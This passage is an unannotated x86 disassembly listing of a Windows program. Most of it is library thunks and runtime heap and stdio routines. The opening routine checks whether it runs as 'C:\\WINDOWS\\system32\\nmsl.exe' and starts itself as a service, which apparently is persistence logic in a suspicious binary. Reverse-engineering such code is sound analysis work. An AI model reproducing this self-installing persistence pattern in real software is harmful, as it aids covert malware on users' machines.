XREF: sub_447EEC+48Fj push offset aStartingServic ; "starting service...\n" call nullsub_4 pop ecx call sub_4455CD call sub_446651 test eax, eax jz short loc_4483C7 xor eax, eax jmp loc_44847D ; --------------------------------------------------------------------------- loc_4483C7: ; CODE XREF: sub_447EEC+4D2j call sub_445579 test eax, eax jz short loc_4483D7 xor eax, eax jmp loc_44847D ; --------------------------------------------------------------------------- loc_4483D7: ; CODE XREF: sub_447EEC+4A4j ; sub_447EEC+4B9j ... call sub_4464B3 test eax, eax jz short loc_44842E call sub_44552E test eax, eax jz short loc_44842E push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe" push dword_4128A8 call dword_411D3C ; lstrcmpi test eax, eax jnz short loc_44842E push offset asc_40E58E ; "**" push dword_4128AC call dword_411D3C ; lstrcmpi test eax, eax jz short loc_44842E push offset aInitializingSe ; "initializing service startup sequence.."... call nullsub_4 pop ecx call sub_4472C4 test eax, eax jz short loc_44842B xor eax, eax jmp short loc_44847D ; --------------------------------------------------------------------------- loc_44842B: ; CODE XREF: sub_447EEC+539j xor esi, esi inc esi loc_44842E: ; CODE XREF: sub_447EEC+4F2j ; sub_447EEC+4FBj ... push offset aNotDaemonized_ ; "not daemonized...\n" call nullsub_4 pop ecx test esi, esi jz short loc_448449 push dword_4128A8 call sub_446F6F pop ecx loc_448449: ; CODE XREF: sub_447EEC+54Fj call sub_445579 test eax, eax jz short loc_448456 xor eax, eax jmp short loc_44847D ; --------------------------------------------------------------------------- loc_448456: ; CODE XREF: sub_447EEC+564j push 0 push 0 push offset sub_406A07 call sub_44910B add esp, 0Ch push 0FFFFFFFFh push eax call dword_411D38 ; WaitForSingleObject push offset dword_40E000 call nullsub_4 pop ecx xor eax, eax loc_44847D: ; CODE XREF: sub_447EEC+139j ; sub_447EEC+149j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_447EEC endp ; =============== S U B R O U T I N E ======================================= sub_448484 proc near ; CODE XREF: DMN1:0044935Cp push ebx call sub_447EEC mov ebx, eax call sub_4455CD mov eax, ebx pop ebx retn 10h sub_448484 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_448497 proc near ; CODE XREF: sub_447AA9+1Bp ; sub_447B78+30p jmp dword_411D88 sub_448497 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44849D proc near ; CODE XREF: sub_447AA9+3Cp ; sub_447B78+4Dp jmp dword_411D8C sub_44849D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4484A3 proc near ; CODE XREF: sub_447AA9+B6p ; sub_447B78+88p jmp dword_411D90 sub_4484A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4484A9 proc near ; CODE XREF: sub_442757+1Ap ; sub_442757+34p jmp dword_411E8C sub_4484A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4484AF proc near ; CODE XREF: DMN1:004427BBp jmp dword_411E90 sub_4484AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4484B5 proc near ; CODE XREF: sub_4427C4+Bp ; DMN1:00442848p ... jmp dword_411E94 sub_4484B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4484BB proc near ; CODE XREF: sub_4427C4+36p ; sub_4427C4+53p ... jmp dword_411E98 sub_4484BB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4484C1 proc near ; CODE XREF: sub_44292D+4p ; sub_443F6D+152p ... jmp dword_411E9C sub_4484C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4484C7 proc near ; CODE XREF: sub_44293A+56p jmp dword_411EA0 sub_4484C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4484CD proc near ; CODE XREF: sub_4429AD+11p jmp dword_411EA4 sub_4484CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4484D3 proc near ; CODE XREF: sub_4429D2+28p ; sub_442A22+28p ... jmp dword_411EA8 sub_4484D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4484D9 proc near ; CODE XREF: sub_4429D2+3Ap jmp dword_411EAC sub_4484D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4484DF proc near ; CODE XREF: sub_442A22+3Ap ; sub_443F6D+E5p ... jmp dword_411EB0 sub_4484DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4484E5 proc near ; CODE XREF: sub_442A72+8p jmp dword_411EB4 sub_4484E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4484EB proc near ; CODE XREF: sub_442A8C+30p ; sub_442AD7+3Fp jmp dword_411EB8 sub_4484EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4484F1 proc near ; CODE XREF: sub_442AD7+5Fp ; DMN1:00442CAFp ... jmp dword_411EBC sub_4484F1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4484F7 proc near ; CODE XREF: sub_442B47+17p ; sub_442B7E+18p ... jmp dword_411EC0 sub_4484F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4484FD proc near ; CODE XREF: sub_442BF2+17p jmp dword_411EC4 sub_4484FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_448503 proc near ; CODE XREF: sub_442C29+8p ; sub_443A14+EDp ... jmp dword_411EC8 sub_448503 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_448509 proc near ; CODE XREF: sub_442C29+1Bp jmp dword_411ECC sub_448509 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44850F proc near ; CODE XREF: DMN1:00442C92p jmp dword_411ED0 sub_44850F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_448515 proc near ; CODE XREF: DMN1:00442CE1p jmp dword_411ED4 sub_448515 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44851B proc near ; CODE XREF: DMN1:00442D02p ; sub_44457E+5Cp ... jmp dword_411ED8 sub_44851B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_448521 proc near ; CODE XREF: sub_443F6D+142p ; sub_44457E+FCp ... jmp dword_411EDC sub_448521 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_448527 proc near ; CODE XREF: sub_443F6D+1DBp ; sub_44457E+16Dp ... jmp dword_411EE0 sub_448527 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44852D proc near ; CODE XREF: sub_443F6D+1E4p ; sub_44457E+176p ... jmp dword_411EE4 sub_44852D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_448533 proc near ; CODE XREF: sub_44450F+23p ; sub_44450F+4Bp jmp dword_411EEC sub_448533 endp ; --------------------------------------------------------------------------- db 2 dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_44853B proc near ; CODE XREF: sub_4424B3+15p ; DMN1:00442576p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov eax, [esp+8+arg_0] mul [esp+8+arg_4] mov esi, eax push esi call sub_44999B pop ecx mov ebx, eax test ebx, ebx jz short loc_448562 mov edx, ebx mov ecx, esi xor eax, eax push edi mov edi, edx rep stosb pop edi mov eax, edx loc_448562: ; CODE XREF: sub_44853B+17j mov eax, ebx pop esi pop ebx retn sub_44853B endp ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44856B proc near ; CODE XREF: sub_4488EB+59p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi or [ebp+var_C], 0FFFFFFFFh mov ebx, [ebp+arg_0] add ebx, 0FFFFFFFCh test dword ptr [ebx], 80000000h jnz short loc_448596 call sub_449B9B mov dword ptr [eax], 16h jmp loc_4488D8 ; --------------------------------------------------------------------------- loc_448596: ; CODE XREF: sub_44856B+19j mov eax, [ebx] mov edi, eax and edi, 7FFFFFFFh lea eax, [ebx-4] mov [ebp+var_4], eax lea ebx, [ebx+edi*4-4] lea esi, [ebx+4] test dword ptr [esi], 80000000h jnz loc_448646 mov eax, [esi] lea esi, [esi+eax*4-4] mov eax, dword_4111E8 cmp [esi], eax ja short loc_4485FB mov eax, dword_4111E0 cmp [esi], eax ja short loc_4485E3 mov eax, dword_4111DC cmp [esi], eax setnbe al and eax, 1 mov [ebp+var_10], eax jmp short loc_4485F6 ; --------------------------------------------------------------------------- loc_4485E3: ; CODE XREF: sub_44856B+64j mov eax, dword_4111E4 cmp [esi], eax setnbe al and eax, 1 add eax, 2 mov [ebp+var_10], eax loc_4485F6: ; CODE XREF: sub_44856B+76j mov eax, [ebp+var_10] jmp short loc_44862C ; --------------------------------------------------------------------------- loc_4485FB: ; CODE XREF: sub_44856B+5Bj mov eax, dword_4111F0 cmp [esi], eax ja short loc_448619 mov eax, dword_4111EC cmp [esi], eax setnbe al and eax, 1 add eax, 4 mov [ebp+var_10], eax jmp short loc_44862C ; --------------------------------------------------------------------------- loc_448619: ; CODE XREF: sub_44856B+97j mov eax, dword_4111F4 cmp [esi], eax setnbe al and eax, 1 add eax, 6 mov [ebp+var_10], eax loc_44862C: ; CODE XREF: sub_44856B+8Ej ; sub_44856B+ACj mov eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [esi] add edi, eax mov [esi], edi mov eax, edi shl eax, 2 mov edx, esi sub edx, eax mov [edx+4], edi mov ebx, esi loc_448646: ; CODE XREF: sub_44856B+48j mov eax, [ebp+var_4] test dword ptr [eax], 80000000h jnz loc_448772 mov eax, [ebp+var_4] mov edx, [eax] add edi, edx mov edx, dword_4111E8 cmp [eax], edx ja short loc_4486A5 mov eax, [ebp+var_4] mov edx, dword_4111E0 cmp [eax], edx ja short loc_448689 mov eax, [ebp+var_4] mov edx, dword_4111DC cmp [eax], edx setnbe al and eax, 1 mov [ebp+var_10], eax jmp short loc_4486A0 ; --------------------------------------------------------------------------- loc_448689: ; CODE XREF: sub_44856B+106j mov eax, [ebp+var_4] mov edx, dword_4111E4 cmp [eax], edx setnbe al and eax, 1 add eax, 2 mov [ebp+var_10], eax loc_4486A0: ; CODE XREF: sub_44856B+11Cj mov eax, [ebp+var_10] jmp short loc_4486E2 ; --------------------------------------------------------------------------- loc_4486A5: ; CODE XREF: sub_44856B+F9j mov eax, [ebp+var_4] mov edx, dword_4111F0 cmp [eax], edx ja short loc_4486CB mov eax, [ebp+var_4] mov edx, dword_4111EC cmp [eax], edx setnbe al and eax, 1 add eax, 4 mov [ebp+var_10], eax jmp short loc_4486E2 ; --------------------------------------------------------------------------- loc_4486CB: ; CODE XREF: sub_44856B+145j mov eax, [ebp+var_4] mov edx, dword_4111F4 cmp [eax], edx setnbe al and eax, 1 add eax, 6 mov [ebp+var_10], eax loc_4486E2: ; CODE XREF: sub_44856B+138j ; sub_44856B+15Ej mov eax, [ebp+var_10] mov [ebp+var_8], eax mov eax, [ebp+var_4] mov eax, [eax-4] mov [ebp+var_14], eax cmp eax, [ebp+var_4] jnz short loc_44872D mov eax, [ebp+var_8] mov dword_4111AC[eax*4], 0 mov eax, [ebp+var_8] cmp dword_4111FC, eax jnz short loc_448764 jmp short loc_448717 ; --------------------------------------------------------------------------- loc_448711: ; CODE XREF: sub_44856B+1BEj inc dword_4111FC loc_448717: ; CODE XREF: sub_44856B+1A4j mov eax, dword_4111FC cmp dword_4111AC[eax*4], 0 jnz short loc_44872B cmp eax, 7 jl short loc_448711 loc_44872B: ; CODE XREF: sub_44856B+1B9j jmp short loc_448764 ; --------------------------------------------------------------------------- loc_44872D: ; CODE XREF: sub_44856B+189j mov eax, [ebp+var_4] mov eax, [eax-8] mov [ebp+var_18], eax mov edx, [ebp+var_18] mov eax, [ebp+var_14] mov [edx-4], eax mov edx, [ebp+var_14] mov eax, [ebp+var_18] mov [edx-8], eax mov eax, [ebp+var_8] mov eax, dword_4111AC[eax*4] cmp eax, [ebp+var_4] jnz short loc_448764 mov eax, [ebp+var_8] mov edx, [ebp+var_18] mov dword_4111AC[eax*4], edx loc_448764: ; CODE XREF: sub_44856B+1A2j ; sub_44856B:loc_44872Bj ... mov [ebx], edi mov eax, edi shl eax, 2 mov edx, ebx sub edx, eax mov [edx+4], edi loc_448772: ; CODE XREF: sub_44856B+E4j cmp edi, dword_4111E8 ja short loc_4487AC cmp edi, dword_4111E0 ja short loc_448794 mov eax, dword_4111DC cmp edi, eax setnbe al and eax, 1 mov [ebp+var_10], eax jmp short loc_4487A7 ; --------------------------------------------------------------------------- loc_448794: ; CODE XREF: sub_44856B+215j mov eax, dword_4111E4 cmp edi, eax setnbe al and eax, 1 add eax, 2 mov [ebp+var_10], eax loc_4487A7: ; CODE XREF: sub_44856B+227j mov eax, [ebp+var_10] jmp short loc_4487DC ; --------------------------------------------------------------------------- loc_4487AC: ; CODE XREF: sub_44856B+20Dj cmp edi, dword_4111F0 ja short loc_4487C9 mov eax, dword_4111EC cmp edi, eax setnbe al and eax, 1 add eax, 4 mov [ebp+var_10], eax jmp short loc_4487DC ; --------------------------------------------------------------------------- loc_4487C9: ; CODE XREF: sub_44856B+247j mov eax, dword_4111F4 cmp edi, eax setnbe al and eax, 1 add eax, 6 mov [ebp+var_10], eax loc_4487DC: ; CODE XREF: sub_44856B+23Fj ; sub_44856B+25Cj mov eax, [ebp+var_10] mov [ebp+var_8], eax cmp [ebp+var_C], eax jz loc_4488D8 cmp [ebp+var_C], 0 jl short loc_448864 mov eax, [ebx-4] mov [ebp+var_14], eax cmp ebx, [ebp+var_14] jnz short loc_448833 mov eax, [ebp+var_C] mov dword_4111AC[eax*4], 0 mov eax, [ebp+var_C] cmp dword_4111FC, eax jnz short loc_448864 jmp short loc_44881D ; --------------------------------------------------------------------------- loc_448817: ; CODE XREF: sub_44856B+2C4j inc dword_4111FC loc_44881D: ; CODE XREF: sub_44856B+2AAj mov eax, dword_4111FC cmp dword_4111AC[eax*4], 0 jnz short loc_448831 cmp eax, 7 jl short loc_448817 loc_448831: ; CODE XREF: sub_44856B+2BFj jmp short loc_448864 ; --------------------------------------------------------------------------- loc_448833: ; CODE XREF: sub_44856B+28Fj mov eax, [ebx-8] mov [ebp+var_18], eax mov edx, [ebp+var_18] mov eax, [ebp+var_14] mov [edx-4], eax mov edx, [ebp+var_14] mov eax, [ebp+var_18] mov [edx-8], eax mov eax, [ebp+var_C] cmp ebx, dword_4111AC[eax*4] jnz short loc_448864 mov eax, [ebp+var_C] mov edx, [ebp+var_18] mov dword_4111AC[eax*4], edx loc_448864: ; CODE XREF: sub_44856B+284j ; sub_44856B+2A8j ... mov eax, [ebp+var_8] mov eax, dword_4111AC[eax*4] mov [ebp+var_18], eax test eax, eax jnz short loc_44889A mov [ebp+var_14], ebx mov [ebp+var_18], ebx mov eax, [ebp+var_8] mov dword_4111AC[eax*4], ebx mov eax, [ebp+var_8] cmp dword_4111FC, eax jle short loc_4488A3 mov eax, [ebp+var_8] mov dword_4111FC, eax jmp short loc_4488A3 ; --------------------------------------------------------------------------- loc_44889A: ; CODE XREF: sub_44856B+308j mov eax, [ebp+var_18] mov eax, [eax-8] mov [ebp+var_14], eax loc_4488A3: ; CODE XREF: sub_44856B+323j ; sub_44856B+32Dj mov eax, [ebp+var_18] mov [ebx-4], eax mov edx, [ebp+var_18] mov [edx-8], ebx mov edx, [ebp+var_14] mov [edx-4], ebx mov eax, [ebp+var_14] mov [ebx-8], eax mov eax, edi shl eax, 2 mov edx, ebx sub edx, eax mov [edx+4], edi mov [ebx], edi mov eax, [ebp+var_8] mov dword_411200, eax mov dword_4111AC[eax*4], ebx loc_4488D8: ; CODE XREF: sub_44856B+26j ; sub_44856B+27Aj pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44856B endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BFh, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4488EB proc near ; CODE XREF: sub_4424E1+Fp ; DMN1:004425A3p ... var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 0044895E SIZE 00000011 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_40F88C push offset sub_408748 push large dword ptr fs:0 mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] test ebx, ebx jz short loc_44895E lea eax, [ebx-4] cmp eax, dword_4111D4 jbe short loc_44892B cmp eax, dword_4111D0 jb short loc_448934 loc_44892B: ; CODE XREF: sub_4488EB+36j push ebx call sub_449E2B pop ecx jmp short loc_44895E ; --------------------------------------------------------------------------- loc_448934: ; CODE XREF: sub_4488EB+3Ej push 0 call sub_449F3B pop ecx mov [ebp+var_4], 0 push ebx call sub_44856B pop ecx or [ebp+var_4], 0FFFFFFFFh call sub_448955 jmp short loc_44895E sub_4488EB endp ; =============== S U B R O U T I N E ======================================= sub_448955 proc near ; CODE XREF: sub_4488EB+63p push 0 call sub_449FBB pop ecx retn sub_448955 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4488EB loc_44895E: ; CODE XREF: sub_4488EB+2Bj ; sub_4488EB+47j ... pop edi pop esi pop ebx mov ecx, [ebp+var_10] mov large fs:0, ecx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_4488EB ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BFh, 4 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+8] mov esi, [ebp+10h] mov edi, ebx cmp [edi+4], esi jnb short loc_448991 mov esi, [edi+4] loc_448991: ; CODE XREF: DMN1:0044898Cj push esi mov eax, [ebp+0Ch] push eax mov eax, [edi] push eax call sub_448E2B add esp, 0Ch mov eax, [edi] add eax, esi mov [edi], eax sub [edi+4], esi mov eax, ebx pop edi pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- db 8Dh, 7Fh, 0 db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4489BB proc near ; CODE XREF: DMN1:0044255Bp ; DMN1:0044258Bp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 8 push ebx cmp [ebp+arg_4], 0 jnz short loc_4489D7 lea eax, [ebp+var_4] mov [ebp+var_8], eax mov [ebp+var_4], 0 jmp short loc_4489E7 ; --------------------------------------------------------------------------- loc_4489D7: ; CODE XREF: sub_4489BB+Bj mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov eax, [ebp+arg_4] dec eax mov [ebp+arg_4], eax mov [ebp+var_4], eax loc_4489E7: ; CODE XREF: sub_4489BB+1Aj mov eax, [ebp+arg_C] push eax mov eax, [ebp+arg_8] push eax lea eax, [ebp+var_8] push eax push offset sub_407510 call sub_449FDB add esp, 10h mov ebx, eax mov edx, [ebp+var_8] mov byte ptr [edx], 0 mov eax, ebx pop ebx mov esp, ebp pop ebp retn sub_4489BB endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BFh, 4 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi mov ebx, [ebp+8] mov esi, [ebp+10h] push 0 lea eax, [ebp-4] push eax push esi mov eax, [ebp+0Ch] push eax push ebx call dword_411D98 ; WriteConsoleA test eax, eax jz short loc_448A49 cmp [ebp-4], esi jnz short loc_448A49 mov edi, ebx jmp short loc_448A4B ; --------------------------------------------------------------------------- loc_448A49: ; CODE XREF: DMN1:00448A3Ej ; DMN1:00448A43j xor edi, edi loc_448A4B: ; CODE XREF: DMN1:00448A47j mov eax, edi pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_448A5B proc near ; CODE XREF: DMN1:0044259Bp ; DMN1:004425B7p ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi call sub_44A25B mov ebx, eax cmp eax, 0FFFFFFFFh jnz short loc_448A74 or eax, 0FFFFFFFFh jmp short loc_448A8C ; --------------------------------------------------------------------------- loc_448A74: ; CODE XREF: sub_448A5B+12j lea edi, [ebp+arg_4] push edi mov eax, [ebp+arg_0] push eax push ebx push offset sub_4075B0 call sub_449FDB add esp, 10h mov esi, eax loc_448A8C: ; CODE XREF: sub_448A5B+17j pop edi pop esi pop ebx pop ebp retn sub_448A5B endp ; --------------------------------------------------------------------------- db 8Dh, 7Fh, 0 db 8Dh, 0BCh, 27h, 4 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx mov ebx, [ebp+10h] push ebx mov eax, [ebp+0Ch] push eax mov eax, [ebp+8] push eax call sub_448E2B add esp, 0Ch add eax, ebx pop ebx pop ebp retn ; --------------------------------------------------------------------------- db 8Dh, 7Fh, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_448ABB proc near ; CODE XREF: DMN1:00442637p ; sub_443A14+17Fp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push ebx push esi lea esi, [ebp+arg_8] push esi mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax push offset sub_407630 call sub_449FDB add esp, 10h mov ebx, eax test ebx, ebx jl short loc_448AE6 mov eax, [ebp+arg_0] mov byte ptr [eax+ebx], 0 loc_448AE6: ; CODE XREF: sub_448ABB+22j mov eax, ebx pop esi pop ebx pop ebp retn sub_448ABB endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_448AFB proc near ; CODE XREF: DMN1:0044265Cp ; sub_444CA3+77p ... var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 00448B5F SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_40F898 push offset sub_408748 push large dword ptr fs:0 mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp push 6 call sub_449F3B pop ecx mov [ebp+var_4], 0 call sub_44A2BB push 0FFFFFFFFh push eax mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax call sub_44A31B add esp, 10h mov [ebp+var_1C], eax or [ebp+var_4], 0FFFFFFFFh call sub_448B56 jmp short loc_448B5F sub_448AFB endp ; =============== S U B R O U T I N E ======================================= sub_448B56 proc near ; CODE XREF: sub_448AFB+54p push 6 call sub_449FBB pop ecx retn sub_448B56 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448AFB loc_448B5F: ; CODE XREF: sub_448AFB+59j mov eax, [ebp+var_1C] pop edi pop esi pop ebx mov ecx, [ebp+var_10] mov large fs:0, ecx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_448AFB ; --------------------------------------------------------------------------- db 90h db 8Dh, 0BCh, 27h, 4 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+8] mov esi, [ebp+10h] push ebx push esi push 1 mov eax, [ebp+0Ch] push eax call sub_448F5B add esp, 10h cmp eax, esi jnz short loc_448B9F mov edi, ebx jmp short loc_448BA1 ; --------------------------------------------------------------------------- loc_448B9F: ; CODE XREF: DMN1:00448B99j xor edi, edi loc_448BA1: ; CODE XREF: DMN1:00448B9Dj mov eax, edi pop edi pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- db 8Dh, 7Fh, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_448BAB proc near ; CODE XREF: DMN1:00442676p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx mov eax, [ebp+arg_8] push eax mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax push offset sub_407710 call sub_449FDB add esp, 10h mov ebx, eax pop ebx pop ebp retn sub_448BAB endp ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; --------------------------------------------------------------------------- push ebx xor ebx, ebx loc_448BDE: ; CODE XREF: DMN1:00448BF7j mov eax, off_411374[ebx*4] test eax, eax jz short loc_448BF0 push eax call sub_448D5B pop ecx loc_448BF0: ; CODE XREF: DMN1:00448BE7j inc ebx cmp ebx, 100h jb short loc_448BDE pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_448BFB proc near ; CODE XREF: sub_44A31B:loc_44A44Fp ; sub_44A69B+B2p ... var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00448C62 SIZE 00000011 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_40F8A4 push offset sub_408748 push large dword ptr fs:0 mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_18], esp push 6 call sub_449F3B pop ecx mov [ebp+var_4], 0 cmp dword_411060, 0 jnz short loc_448C4E mov dword_411060, 1 push offset sub_407770 call sub_44A46B pop ecx loc_448C4E: ; CODE XREF: sub_448BFB+3Cj or [ebp+var_4], 0FFFFFFFFh call sub_448C59 jmp short loc_448C62 sub_448BFB endp ; =============== S U B R O U T I N E ======================================= sub_448C59 proc near ; CODE XREF: sub_448BFB+57p push 6 call sub_449FBB pop ecx retn sub_448C59 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448BFB loc_448C62: ; CODE XREF: sub_448BFB+5Cj pop edi pop esi pop ebx mov ecx, [ebp+var_10] mov large fs:0, ecx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_448BFB ; --------------------------------------------------------------------------- db 90h db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_448C7B proc near ; CODE XREF: sub_448D5B+39p arg_0 = dword ptr 4 push ebx push esi push edi mov ebx, [esp+0Ch+arg_0] push ebx call sub_44A49B pop ecx mov esi, eax test word ptr [ebx], 40h jz short loc_448C9C mov eax, [ebx+8] push eax call sub_4488EB pop ecx loc_448C9C: ; CODE XREF: sub_448C7B+15j mov dword ptr [ebx+8], 0 mov eax, [ebx+4] test eax, eax jl short loc_448CB8 push eax call sub_44A61B pop ecx test eax, eax jz short loc_448CB8 or esi, 0FFFFFFFFh loc_448CB8: ; CODE XREF: sub_448C7B+2Dj ; sub_448C7B+38j mov eax, [ebx+3Ch] test eax, eax jz short loc_448CDE push eax call sub_44928B pop ecx test eax, eax jz short loc_448CCD or esi, 0FFFFFFFFh loc_448CCD: ; CODE XREF: sub_448C7B+4Dj mov eax, [ebx+3Ch] push eax call sub_4488EB pop ecx mov dword ptr [ebx+3Ch], 0 loc_448CDE: ; CODE XREF: sub_448C7B+42j test word ptr [ebx], 80h jz short loc_448D0F xor edi, edi loc_448CE7: ; CODE XREF: sub_448C7B+89j cmp ebx, off_411374[edi*4] jnz short loc_448CFD mov off_411374[edi*4], 0 jmp short loc_448D06 ; --------------------------------------------------------------------------- loc_448CFD: ; CODE XREF: sub_448C7B+73j inc edi cmp edi, 100h jb short loc_448CE7 loc_448D06: ; CODE XREF: sub_448C7B+80j push ebx call sub_4488EB pop ecx jmp short loc_448D48 ; --------------------------------------------------------------------------- loc_448D0F: ; CODE XREF: sub_448C7B+68j mov word ptr [ebx], 0 or dword ptr [ebx+4], 0FFFFFFFFh lea eax, [ebx+48h] mov [ebx+8], eax lea eax, [ebx+48h] mov [ebx+10h], eax lea eax, [ebx+48h] mov [ebx+14h], eax lea eax, [ebx+48h] mov [ebx+2Ch], eax lea eax, [ebx+48h] mov [ebx+18h], eax lea eax, [ebx+48h] mov [ebx+30h], eax lea eax, [ebx+48h] mov [ebx+1Ch], eax lea eax, [ebx+28h] mov [ebx+20h], eax loc_448D48: ; CODE XREF: sub_448C7B+92j mov eax, esi pop edi pop esi pop ebx retn sub_448C7B endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_448D5B proc near ; CODE XREF: DMN1:0044267Fp ; sub_444CA3+108p ... var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00448DB1 SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_40F8B0 push offset sub_408748 push large dword ptr fs:0 mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp push 6 call sub_449F3B pop ecx mov [ebp+var_4], 0 mov eax, [ebp+arg_0] push eax call sub_448C7B pop ecx mov [ebp+var_1C], eax or [ebp+var_4], 0FFFFFFFFh call sub_448DA8 jmp short loc_448DB1 sub_448D5B endp ; =============== S U B R O U T I N E ======================================= sub_448DA8 proc near ; CODE XREF: sub_448D5B+46p push 6 call sub_449FBB pop ecx retn sub_448DA8 endp ; 